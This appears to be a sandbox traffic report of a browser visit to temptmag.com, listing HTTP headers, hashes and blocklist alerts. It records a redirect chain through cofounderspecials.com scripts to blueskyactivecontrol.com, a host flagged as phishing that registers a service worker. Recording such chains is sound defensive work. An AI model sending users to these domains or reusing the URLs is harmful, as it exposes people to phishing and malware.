Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document, ASCII text
Size:   315
Md5:    a34ac19f4afae63adc5d2f7bc970c07f
Sha1:   a82190fc530c265aa40a045c21770d967f4767b8
Sha256: d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3

Alerts:
  Blocklists:
    - mnemonic_dns: Sinkholed
    - quad9: Sinkholed
                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: kD0poFb5lWX8t26TQ+H7dA==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                         
                                         44.238.3.246
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: zjxyNwWcR1lI3sv4tRwN4mluOdk=

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7D129895DD82ACE0D70FE0D261B7C2E924E869686CEDF20C238EFA6BFDF5E632"
Last-Modified: Wed, 03 Aug 2022 20:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7921
Expires: Sat, 06 Aug 2022 02:40:38 GMT
Date: Sat, 06 Aug 2022 00:28:37 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7D129895DD82ACE0D70FE0D261B7C2E924E869686CEDF20C238EFA6BFDF5E632"
Last-Modified: Wed, 03 Aug 2022 20:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7921
Expires: Sat, 06 Aug 2022 02:40:38 GMT
Date: Sat, 06 Aug 2022 00:28:37 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7D129895DD82ACE0D70FE0D261B7C2E924E869686CEDF20C238EFA6BFDF5E632"
Last-Modified: Wed, 03 Aug 2022 20:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7921
Expires: Sat, 06 Aug 2022 02:40:38 GMT
Date: Sat, 06 Aug 2022 00:28:37 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7D129895DD82ACE0D70FE0D261B7C2E924E869686CEDF20C238EFA6BFDF5E632"
Last-Modified: Wed, 03 Aug 2022 20:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7921
Expires: Sat, 06 Aug 2022 02:40:38 GMT
Date: Sat, 06 Aug 2022 00:28:37 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7D129895DD82ACE0D70FE0D261B7C2E924E869686CEDF20C238EFA6BFDF5E632"
Last-Modified: Wed, 03 Aug 2022 20:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=7921
Expires: Sat, 06 Aug 2022 02:40:38 GMT
Date: Sat, 06 Aug 2022 00:28:37 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fe02af17f-5236-4b47-b37c-2ca78451d001.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 10873
x-amzn-requestid: 8e9e6a2e-0ebe-4e43-ac2c-bc72bcc03c3b
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WLBrnHDbIAMFnOA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62e77cb0-34ce66152b1c495b07c56d17;Sampled=0
x-amzn-remapped-date: Mon, 01 Aug 2022 07:11:44 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: xNvq4q3INh3Jjt5NrPR4pmWj4PkN19nEj_JUiBjnl7xf4oVfOvcULA==
via: 1.1 efe54e8b68e074d39b2ecd249f85100a.cloudfront.net (CloudFront), 1.1 89791e6b21b9a30cc51cac1bc51cf098.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 22:49:45 GMT
age: 5932
etag: "6ee0eb53fcc505c4fc8358771850a80bfdf82c7b"
content-type: image/jpeg
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10873
Md5:    e7264a2e7923f3a462242e2df742ab8a
Sha1:   6ee0eb53fcc505c4fc8358771850a80bfdf82c7b
Sha256: ca08424c22b7d0103db02d8ac3a2588d15fe1ff59ef6fdac56d7fef25198ed87
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F7bfd5df4-420a-41ec-b1de-b396653699e3.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 8223
x-amzn-requestid: 281d5f74-7335-41bf-a1b0-b96f8524a3ad
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WaMEqHQvoAMFluQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62ed8d50-1840e5c331544b671bd6c5ed;Sampled=0
x-amzn-remapped-date: Fri, 05 Aug 2022 21:36:16 GMT
x-amz-cf-pop: HIO50-C1, YVR50-C1
x-cache: Miss from cloudfront
x-amz-cf-id: o9EeZetfZImEDJCDFyMh8hj9JXl78bbKcn2046qAYRLMW0r8sTJjyQ==
via: 1.1 446313511980eb02f28ff5a9a4147c0a.cloudfront.net (CloudFront), 1.1 87136170926d082ce5ff23d5ad5be32c.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 21:47:23 GMT
etag: "9b19561b15e7e126ee65436ba20d4ae4098e6776"
content-type: image/jpeg
age: 9674
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8223
Md5:    21cb9fd64193c9fa61a65be28fa65bda
Sha1:   9b19561b15e7e126ee65436ba20d4ae4098e6776
Sha256: 16676379a98b377329551dea82df06b036aa7a1902ecc18b2467b25c0bd0e4dd
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F2f6a8579-7bad-4c85-9302-933abaefa4be.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 7710
x-amzn-requestid: cfd4f1be-544d-445d-857c-c9ed568eedc7
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WLCJJEufIAMFsIw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62e77d6d-2666d50e55af3c407d6558bd;Sampled=0
x-amzn-remapped-date: Mon, 01 Aug 2022 07:14:53 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: cq1xqXDoUhLSqS7TXvZEDKYD_G1jifCpgXpXvjADZ6ZIFS3eGelN9A==
via: 1.1 d83ae0e1ba84e92e58bc1efc23a0c652.cloudfront.net (CloudFront), 1.1 989017835f43d594873bde5a7ee7fe5e.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 23:18:52 GMT
age: 4185
etag: "2a6781cfd870a4ef225f9c74f299d4b5801b4072"
content-type: image/jpeg
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7710
Md5:    b681d5ce22da3bd237e5517bd723eb26
Sha1:   2a6781cfd870a4ef225f9c74f299d4b5801b4072
Sha256: a48a8b61502e79a0d5ea544ed9c9a46a2e2187333b7bbbb6efce4ad6342b85ae
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F47127619-5c86-4363-ad38-bd0ea52d7a06.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 3871
x-amzn-requestid: 8e2f628a-40e7-4a30-9250-e799388e3f06
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WaMExESGIAMFmSg=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62ed8d51-548ce53641314e2f14e5c4af;Sampled=0
x-amzn-remapped-date: Fri, 05 Aug 2022 21:36:17 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: N90ctXzr6WonpYvUPxVh9pub3pDwtN6P2RHXYhHEnvQojnGnfdXOiw==
via: 1.1 7f5e0d3b9ea85d0d75063a66c0ebc840.cloudfront.net (CloudFront), 1.1 ebe4011a81a36e2bf678f69ce1711330.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 22:01:03 GMT
age: 8854
etag: "5aafd1e4d78ce8b097b9d9333f8a583a3004ed21"
content-type: image/jpeg
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   3871
Md5:    2d2380784d41f22b7c39f22aa6ee89f5
Sha1:   5aafd1e4d78ce8b097b9d9333f8a583a3004ed21
Sha256: 0c0f5233c5b6e055ab79900dcd96b99dcd837a2459c75c75ba54d1289dab4ec7
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F817dc1f7-eb45-43f8-baff-dc8c8dc431d5.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 5927
x-amzn-requestid: 3e55ee66-fe01-4d6c-a112-7fef5f987ed4
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WaNj5ERNoAMFZSA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62ed8fb2-171a62aa5b6129252b6799a1;Sampled=0
x-amzn-remapped-date: Fri, 05 Aug 2022 21:46:26 GMT
x-amz-cf-pop: HIO50-C1, YVR50-C1
x-cache: Miss from cloudfront
x-amz-cf-id: A91fveIjnkMpZ7jHHY5n7hdB5jBK-VKqPbe7_PyxJlnXKP-fq-zEXg==
via: 1.1 d83ae0e1ba84e92e58bc1efc23a0c652.cloudfront.net (CloudFront), 1.1 5928d4d9c6b3f72b0368c10c784489cc.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 21:47:22 GMT
etag: "2f672c1b11a1c279f429a25e80e37c19d87ed31b"
content-type: image/jpeg
age: 9675
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5927
Md5:    1d51f89b8978e5f853da0ec27aeba1f2
Sha1:   2f672c1b11a1c279f429a25e80e37c19d87ed31b
Sha256: 4b1741201668ef2b420b2c6ca02a9acec12b98c5527745229ceb27239a99881d
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F7416b9f2-65f9-47c2-8f5f-566747801209.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
                                        
server: nginx
content-length: 6101
x-amzn-requestid: 604790b0-21d5-4ebd-80ff-c11772155067
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: WaNkCFY-oAMF1JQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-62ed8fb3-6909603641080c8a645d3033;Sampled=0
x-amzn-remapped-date: Fri, 05 Aug 2022 21:46:27 GMT
x-amz-cf-pop: HIO50-C1, YVR50-C1
x-cache: Miss from cloudfront
x-amz-cf-id: sV_LU2ZfCQngGu4R14SwJY6__sl642nia8hKH42jfwq4DW5rl0Wb4w==
via: 1.1 000f4a2f631bace380a0afa747a82482.cloudfront.net (CloudFront), 1.1 feda34dcbf6a00e232656b7983c2c7f0.cloudfront.net (CloudFront), 1.1 google
date: Fri, 05 Aug 2022 21:50:21 GMT
etag: "8862743a3be46ab1a5e8bdcdf981544031240592"
content-type: image/jpeg
age: 9496
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6101
Md5:    f8dc6df6d0bfa053f2b4e21c320a37d8
Sha1:   8862743a3be46ab1a5e8bdcdf981544031240592
Sha256: 724aa462ec0ab7c3578b9a5a63e587df9ba9594ca37b5819cda2fc7270dadc41
                                        
                                            GET /first/bring.js HTTP/1.1 
Host: trick.cofounderspecials.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://temptmag.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         91.211.91.112
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
                                        
Server: nginx
Date: Sat, 06 Aug 2022 00:28:36 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (24956), with no line terminators
Size:   2911
Md5:    2a7b15560f6f106f88f85e802418dad8
Sha1:   9937ac09c1c0113d916af08032e1176056e68edf
Sha256: 7ce20bd622acdd325b5b93a38e6038eb18fbbb72bab68aa785b08858493de596
                                        
                                            GET /second/get.js?v=4.0.1 HTTP/1.1 
Host: trick.cofounderspecials.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://temptmag.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         91.211.91.112
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
                                        
Server: nginx
Date: Sat, 06 Aug 2022 00:28:38 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (9328), with no line terminators
Size:   1560
Md5:    6365dfe19a5046f25cc012db83b416c1
Sha1:   19ac2296768ef804f2bfda2d99f311365a839a03
Sha256: 2d0cea140464cf2f58f4fba8817e4fa8ecf6b132c8299947510f28bb71a155ba
                                        
                                            GET /way.php?pid=553246&kid=685&uid=456389&mid=689332 HTTP/1.1 
Host: door.cofounderspecials.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://temptmag.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

                                         
                                         91.211.91.104
HTTP/2 302 Found
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:40 GMT
content-type: text/html; charset=UTF-8
content-length: 0
location: https://door.cofounderspecials.com/way.php?cid=436757&lid=88443&tid=65478433
strict-transport-security: max-age=15768000;
X-Firefox-Spdy: h2

                                        
                                            GET /way.php?cid=436757&lid=88443&tid=65478433 HTTP/1.1 
Host: door.cofounderspecials.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://temptmag.com/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         91.211.91.104
HTTP/2 200 OK
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:40 GMT
content-type: text/html; charset=UTF-8
content-length: 415
vary: Accept-Encoding
content-encoding: gzip
strict-transport-security: max-age=15768000;
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, ASCII text, with CRLF line terminators
Size:   415
Md5:    135a369da37bcefa5ca3e139c266337b
Sha1:   e425bfda62df93ef80b614fbe3053c26e4679f6b
Sha256: f8f0a6e00bce554987f787885c3f879b8466dd939edb077ef82eb4ae2d679536
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "CC71773A84BD4B88A88C8A63C9E5822ECC7348D8D3957C5A53CCD4FC59217A8F"
Last-Modified: Thu, 04 Aug 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=17893
Expires: Sat, 06 Aug 2022 05:26:53 GMT
Date: Sat, 06 Aug 2022 00:28:40 GMT
Connection: keep-alive

                                        
                                            GET /?p=gm2gezrzhe5gi3bpg42daoi&sub2=stonny88 HTTP/1.1 
Host: blueskyactivecontrol.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://door.cofounderspecials.com/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

                                         
                                         185.177.94.108
HTTP/2 200 OK
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:40 GMT
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
set-cookie: uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87; expires=Mon, 05-Sep-2022 00:28:40 GMT; Max-Age=2592000; path=/; domain=blueskyactivecontrol.com
strict-transport-security: max-age=31536000
content-security-policy: img-src https: data:; upgrade-insecure-requests
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document, Unicode text, UTF-8 text, with very long lines (29334)
Size:   53097
Md5:    7cf0c72bf46ed3e7648893b0fc4320d2
Sha1:   7305ada1de0ad7fe2a769318f3319e2d302e01ac
Sha256: ff52b9cd7c79065f5b300b88c41f403e01fc8de0c8db672eb735270208546e21
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: blueskyactivecontrol.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://blueskyactivecontrol.com/?p=gm2gezrzhe5gi3bpg42daoi&sub2=stonny88
Cookie: uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

                                         
                                         185.177.94.108
HTTP/2 204 No Content
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:40 GMT
strict-transport-security: max-age=31536000
content-security-policy: img-src https: data:; upgrade-insecure-requests
X-Firefox-Spdy: h2

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "4F898FF46250300D4503212E342632D9B79AA7BE12577561DE231D612073486B"
Last-Modified: Fri, 05 Aug 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=13384
Expires: Sat, 06 Aug 2022 04:11:44 GMT
Date: Sat, 06 Aug 2022 00:28:40 GMT
Connection: keep-alive

                                        
                                            GET /w66899721.js HTTP/1.1 
Host: 0.blueskyactivecontrol.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Service-Worker: script
Connection: keep-alive
Cookie: uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87; uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87
Sec-Fetch-Dest: serviceworker
Sec-Fetch-Mode: same-origin
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers

                                         
                                         185.177.94.108
HTTP/2 200 OK
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:41 GMT
content-type: application/javascript; charset=utf-8
content-length: 49
last-modified: Wed, 27 Jul 2022 05:35:25 GMT
etag: "62e0ce9d-31"
access-control-allow-origin: *
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   49
Md5:    8b2c9a0f63099698ba10b15b41fa47e4
Sha1:   dba24ca51e5b2c0fba6fa07441972a2fcc217088
Sha256: dbb05cc7642fa61c7cbeda7a9c1db3e43db644dfd78d14e4f8cf73df3b7689ad

Alerts:
  Blocklists:
    - fortinet: Phishing
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: 0.blueskyactivecontrol.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://0.blueskyactivecontrol.com/?p=gm2gezrzhe5gi3bpg42daoi&sub2=stonny88
Cookie: uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87; uuid=ee1abc94-87e1-4e94-bc10-ecdaa62f8e87
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

                                         
                                         185.177.94.108
HTTP/2 204 No Content
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:41 GMT
strict-transport-security: max-age=31536000
content-security-policy: img-src https: data:; upgrade-insecure-requests
